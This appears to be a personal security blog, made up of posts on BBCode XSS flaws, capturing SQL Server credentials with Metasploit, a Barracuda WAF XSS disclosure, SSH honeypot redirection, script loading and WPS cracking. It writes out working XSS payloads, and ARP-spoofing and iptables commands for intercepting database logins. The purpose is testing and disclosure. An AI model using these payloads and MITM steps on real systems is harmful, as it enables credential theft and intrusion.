| Home | About |

Thursday, 30 January 2014

Don't Trust, Always Test

Today we were looking for a BBCode interpreter. Primarily a .NET development team, after some frantic googling to see there was anything that we could use in the hope it has been tried, tested, and ultimately secure, there was a possibility.

Googling for '.NET bbcode' results in this at the top of the page: http://bbcode.codeplex.com. Looks promising, and even confirms what we are after in the blurb:

We have used Pex (http://research.microsoft.com/en-us/projects/Pex/) to extensively test some important properties of this BBCode-Parser. We used Pex to ensure that the parser never crashes and that it never emits any dangerous tag such as <script>, no matter what the input was. The user can type any HTML he wants but it will just get encoded, even when it is in unusual places like the href-attribute of the url-tag. If you have any questions about this you can post them on http//codekicker.de if you speak german. In other cases you can contact us by email in english.

Excellent, even singles out security. 60 seconds into a test ourselves, and we have this:


So what went wrong. Well the first thing is the way in which [url] tags are dealt with:

[url href=javascript:document.body.innerHTML=String.fromCharCode(88,83,83)]bbcode[/url]

Which results in the following HTML:

<a href="javascript:document.body.innerHTML=String.fromCharCode(88,83,83)">bbcodetest</a></pre>

OK bad start, but it requires a user to click the link to execute, not the end of the world right? Well lets have a look at the [img] tag to see if that is any better:

[img] [img] onerror=javascript:alert(String.fromCharCode(88,83,83)) [/img] [/img]

Results in:

<img src=" <img src=" onerror=javascript:alert(String.fromCharCode(88,83,83)) "/> " />

OK, not fantastic. So whats the takeaway from this, well OWASP Top 10 for 2013 has this at number 9:

'Using Components With Known Vulnerabilities'

And for good reason. It's extremely easy to google for a library and have multiple sources tell you 'this is secure, use this'. Always remember to security test your libraries before implementing.

Thanks to http://jeffchannell.com/Other/bbcode-xss-howto.html for the excellent bbcode injection examples and a great resource if you are attempting to test your own BBCode solution.

Sunday, 26 January 2014

SQL Server Authentication With Metasploit and MITM

Whilst exploring the depths of metasploit capture modules, I came across auxiliary/server/capture/mssql which can be found here. The module can be used to capture Microsoft SQL Server logon credentials if a user is convinced to authenticate with the module. What caught my attention is just how effective this module can be in retrieving plain text credentials.

First a bit of background on SQL server authentication. Usually authentication is done using one of two methods, SQL Server Authentication or Windows Authentication. Windows Authentication allows you to access SQL Server using existing windows credentials (such as local windows users or domain users), whereas SQL Server Authentication requires user credentials to be added and managed on SQL server directly. The specifics of each authentication method are out of this scope for this post, but today we will be focusing on a SQL Server Authentication weaknesses that this metasploit module exploits.

First looking through the source of capture/mssql, we come across this method:

# decodes a mssql password
  def mssql_tds_decrypt(pass)
    Rex::Text.to_ascii(pass.unpack("C*").map {|c| ((( c ^ 0xa5 ) & 0x0F) << 4) | ((( c ^ 0xa5 ) & 0xF0 ) >> 4) }.pack("C*"))
  end

That single word, ‘decode’ should send shivers down any security researchers spine. So what is actually happening here? Well each character of the password goes through the following process:

Each nibble of the byte is XOR’ed with 0xa5, and then swapped

Thats it….

After a bit of searching we come across CVE-2002-1872 which confirms that the vulnerability affects SQL Server up to and including SQL Server 2000. So as long as we have a version of SQL Server Management Studio to communicate with a server version later than SQL Server 2000, we’re OK right? Wrong… lets look at another method in the module:

def on_client_data(c):
…
  # no errors, and the packet was a prelogin
    # if we just close the connection here, it seems that the client:
    # SQL Server Management Studio 2008R2, falls back to the weaker encoded
    # password authentication.

So it seems that SQL Server Management Studio 2008 r2 will fall back to the vulnerable SQL Server 2000 authentication method if required, which combined with the above decoding method means that passwords can be retrieved in plain text when SQL Authentication is used. Simple as that!

So now we have the vulnerability, but how do we get our user to authenticate against our metasploit module? Well that’s where good old social engineering comes into play. Lets imagine asking our DBA “hey, we’ve just spotted this SQL server on the network which we want to check for [Insert Generic Reason Here], any chance you could see if you have access?". There is no way he/she is going to pass up this opportunity to be helpful right? OK I know, your team are all savvy with security practices and wouldn’t fall for such a obvious social engineering attempt, so what else can we do? Well we could use a  MITM to put ourselves between the client and the server and force traffic to our metasploit module.

We are going to use Kali Linux to do this, but the tools we use are available for most Linux distributions. First we need to enable IP forwarding to ensure that we are forwarding traffic being passed to us:

echo 1 > /proc/sys/net/ipv4/ip_forward

Next we start our MITM arp spoofing attempt between out client and SQL server:

arpspoof -i eth0 -t [sql server address] [client address]
arpspoof -i eth0 -t [client address] [sql server address]

We kick off our metasploit module:

use auxiliary/server/capture/mssql
set SRVPORT 1433
run

And finally we use iptables to add a NAT rule redirecting traffic attempting to reach port 1433 (MSSQL port) to our metasploit module running on localhost:

iptables -t nat -A PREROUTING -p tcp -d [sql server address] —dport 1433 -j REDIRECT —to-ports 1433

Now each time the victim tries to authenticate to SQL Server with SQL Server Authentication using SQL Management Studio, their traffic will be redirected to our metasplot module:


Nice! Its worth noting that SQL Management Studio will be told that authentication has failed with the server, so caution needs to be used when testing this:


Excellent we have a way to capture SSMS logons but lets consider another common source of SQL Server traffic, a web application. More specifically a ASP.NET web application. In this scenario we have a .NET application attempting to communicate with SQL Server using SqlConnection to make the connection between the web server and SQL Server using SQL Authentication. Does the same issue occur?

Our test client is pretty basic, we use a SqlConnection with a connection string containing our authentication details (the test code used can be found on github here). Again we start up Kali and use the above configuration to MITM traffic between us and the web application. What happens when the .NET application tries to connect to SQL Server?


That’s right, .NET SqlConnection also suffers from the same backwards compatibility issue as SQL Management Studio, authentication will fall back to SQL Server 2000 authentication mode with its switch nibble and XOR encoding.

In my next post, we will be looking at how we can stop this vulnerability being exploited.

Thursday, 7 November 2013

Barracuda Web Application Firewall XSS vulnerability

Unfortunately this one is a bit late, but at the end of 2012 I came across a reflected XSS vulnerability within the Barracuda Web Application Firewall device.

This can be triggered by manipulating the ‘group_name’ URL parameter as follows:

http://192.168.0.31:8000/cgi-mod/index.cgi?&user=XXXXXXXXXXX&password=XXXXXXXXXXXXXXXXXX&et=XXXXXXXXX&auth_type=Local&locale=en_US&primary_tab=ADVANCED&secondary_tab=advanced_ip_config&group_name=%22%20style=%22xss:expression(alert(‘Cross Site Scripting on the WAF web interface !!!!!’))

Which results in the following:


A firmware patch was released (Version 7.7) to address this issue.

I would like to thank Barracuda for their good communication and turn around in resolving this vulnerability.

Redirect to SSH honeypot with iptables

Like most people I often see a lot of noise from the dark corners of the internet to my public SSH servers, often attempting a dictionary attack. There is a well known way to harden your system against these forms of attacks using a combination of iptables and the recent module as follows:

iptables -A INPUT -i eth0 -p tcp –dport 22 -m state –state NEW -m recent –set –name SSH

iptables -A INPUT -i eth0 -p tcp –dport 22 -m state –state NEW -m recent –update –seconds 120 –hitcount 3 –rttl –name SSH -j DROP

These 2 rules track connection attempts and drop any new (TCP SYN) attempts to access the SSH server more than 3 times within 120 seconds. As long as your SSH password cannot be guessed with 3 attempts (it’s not password01 is it?) this is an effective way of stopping attackers from continually guessing passwords. Job Well Done you say?

Well yes, but sometimes it is useful to find out what the attacker is trying to do on your system, is this a precursor to a further attack or simply a script kiddie running the latest pwnssh tool? If we want to see what the attacker is trying to do we can always leverage honeypots.

PLEASE NOTE: Honeypots suffer from the same weaknesses as any other software, it is always safer to block the attacker at the lowest layer possible. If you choose to deploy a honeypot make sure that you understand and mitigate against any risks that allowing an attacker into your system may incur.

Using the iptables example above it may be worth explaining what is happening:

iptables -A INPUT -i eth0 -p tcp –dport 22 -m state –state NEW -m recent –set –name SSH

This command adds a new rule to our INPUT chain, which matches any traffic coming in over the ‘eth0′ interface for TCP port 22. The state module (-m state) is used to allow connection tracking which in our case we are looking for new connections only (TCP SYN packets). If this matches we keep a record of the source host in a temporary location (usually /proc/net/xt_recent). Each time a new attempt is made to connect to TCP port 22, this rule is matched and the number of attempts is incremented.

The next rule is:

iptables -A INPUT -i eth0 -p tcp –dport 22 -m state –state NEW -m recent –update –seconds 120 –hitcount 3 –rttl –name SSH -j DROP

Again this rule is added to our INPUT chain, it matches traffic coming in through eth0 interface for port 22 and only matches NEW connections. This time if the number of requests from the source has been seen 3 times (hitcount) within 120 seconds, we will drop the packet and therefore the bruteforce attempt.

But what if we don’t want to drop the packet, what if we want to simply shift the attacker to another service such as a honeypot for later analysis. Assuming that a honeypot has been set up to listen on port 2222 such as Kippo, we can utilise NAT along with the recent module to forward the attackers traffic to a honeypot:

iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 22 -m state –state NEW -m recent –update –seconds 120 –hitcount 3 –rttl –name SSH -j REDIRECT –to-port 2222

Using this instead of dropping the packet, we redirect to port 2222 on the local machine. If we have a honeypot listening (you may need to add your SSH host keys to the honeypot to stop the attacker becoming aware of the switch) we can capture the attacker and complete our analysis.

For a legitimate user they will experience the following flow:

Attempt to log into SSH server – INPUT rule matches and logs this as a new connection.
Enters correct password and connection is established – Neither of our rules match as this is now an established connection and the user can now continue with their SSH session.
However an attacker will experience a different flow:

Attempt to log into SSH server with Password 1 – INPUT rule is matched and logs this as a new connection attempt.
Attempt to log into SSH server with Password 2 – INPUT rule is matched and again logs this as a new connection attempt.
Attempt to log into SSH server with Password 3 – INPUT rule is matched and logs this as a further connection attempt.
Attempt to log into SSH server with Password 4 – NAT redirect rule is matched as attacker has made 3 requests within 120 seconds. The attackers requests are now forwarded to TCP port 2222.

The attacker successfully penetrates the honeypot and is now in a sandboxed environment for monitoring.
As you can see, this may be a useful addition to your existing security policy to study an attack on your system.

Wednesday, 25 January 2012

Dynamically Loading Javascript Synchronously

Today I have been working on a new security challenge that meant that I had to load a number of javascript sources dynamically. Now there are multiple references to be found on Google on how to do this, however the challenge that I faced was the ability to load scripts in a specific order. This is unfortunately more difficult that it seems due to browser optimisation... let me give you an example.

In the case of jQuery and jQuery-UI, the order in which the scripts are loaded is important. This means that when developing a webpage, you would usually do something to the effect of:

<script src="http://my-site.com/jquery.js" type="text/javascript" />
<script type="text/javascript" src="http://my-site.com/jquery-ui.js" />
Therefore forcing the browser to load each script sequentially. The problem however is presented when dynamically loading javascript using a method similar to:

var loadCount = 0;
var scripts = [
                "http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js",
                "http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js",
              ];

function loadJavascript(url) {
        var script = document.createElement("script");
        script.type = "text/javascript";
        script.src = url;

        script.onreadystatechange = function() {
                if (this.readyState == 'complete')
                        handler();
        }

        script.onload = handler;

        if (typeof script != "undefined") {
                document.getElementsByTagName("head")[0].appendChild(script);
        }

        return script;
}

function handler() {
        loadCount++;
}

for(x = 0; x < scripts.length; x++) {
        loadJavascript(scripts[loadCount]);
}

On first appearance, this script seems to work correctly. We do however encounter a problem when working with jQuery due to browser optimisations, as can be seen from this timeline screenshot:


You can see that both scripts are being downloaded simultaneously by the browser. This means that in the case of jQuery, every so often (usually determined by the file size, and speed of response from the server) you will see an error such as the follows:


The solution to this I have found lies in recursion. By taking our script above and making a slight modification, we can synchronously download each javascript file.
var loadCount = 0;
var scripts = [
                "http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js",
                "http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js",
              ];

function loadJavascript(url) {
        var script = document.createElement("script");
        script.type = "text/javascript";
        script.src = url;

        script.onreadystatechange = function() {
                if (this.readyState == 'complete')
                        handler();
        }

        script.onload = handler;

        if (typeof script != "undefined") {
                document.getElementsByTagName("head")[0].appendChild(script);
        }

        return script;
}

function handler() {
        loadCount++;

        // Use recursion here to load the next script when we know our last is successfully loaded
        if (loadCount < scripts.length)
                loadJavascript(scripts[loadCount]);
}


loadJavascript(scripts[loadCount]);

Now if we look at a timeline of our script loading, we can see that our browser is waiting for one script to finish downloading before progressing to the next.


Whilst this technique obviously has a performance impact when used for anything in a production environment, I have found it to be invaluable when dealing with dynamic loading of scripts such as jQuery.

Thursday, 29 December 2011

WPA Cracking Using WPS

There was a new tool posted yesterday over on /dev/ttyS0, Reaver that takes advantage of the WPS specification, exploiting an inherent weekness in to retrieve an access points WPA/WPA2 shared key in a matter of hours.

The tool is very simple to use, taking just a BSSID as a parameter, and attempting to bruteforce the WPS pin on an access point, however there are reports (including one from myself) of issues getting the tool to work with certain drivers, but hopefully these will be fixed soon.

This is a very exciting attack, as WPS is enabled by default on many AP's, including many that do not automatically update firmware, meaning that this attack will be around for a while.

For this tool, and information on how the exploit is performed, visit the /dev/ttyS0 blog here, as well as the original auther of the vulnerabilitity .braindump here.

As for how to protect yourself against this attack..... just disable WPS :)

Sunday, 30 October 2011

Scanning for Fun and Profit

Today I purchased a new printer for my home office, a HP Deskjet 3070a (mostly because of my wife’s persistence on having an iPad compatible printer). This wireless printer is typical amongst those found in homes today, offering WiFi connectivity and internet enabled printing, but the thing that struck me was just how this tech worked from a security perspective, after all, with unsecured Wifi networks unfortunately common in neighbourhoods, just what could an attacker do with a printer / scanner?

The first thing that I did was fire up Wireshark to see exactly how my laptop communicated with the scanner over the network. I half expected to see some proprietary communication between the driver and the printer, but no, the scanner actually uses standard unencrypted HTTP and XML to send job information and retrieve information on the scanner. Perhaps the most alarming (but unfortunately not unexpected) feature was the lack of any authentication when communicating.

I was quickly able to create a simple tool for retrieving a scanned document from the scanner which I have published here. This small tool simply sends enough information to request a raw image from the scanner, using Python Imaging Library to convert this to a bitmap. It’s a bit flaky at best, but it helps prove the point that if an attacker is able to access your wireless network, even something as innocent as your printer / scanner combo may be at risk. You may wish to think twice about what you leave on your scanner glass.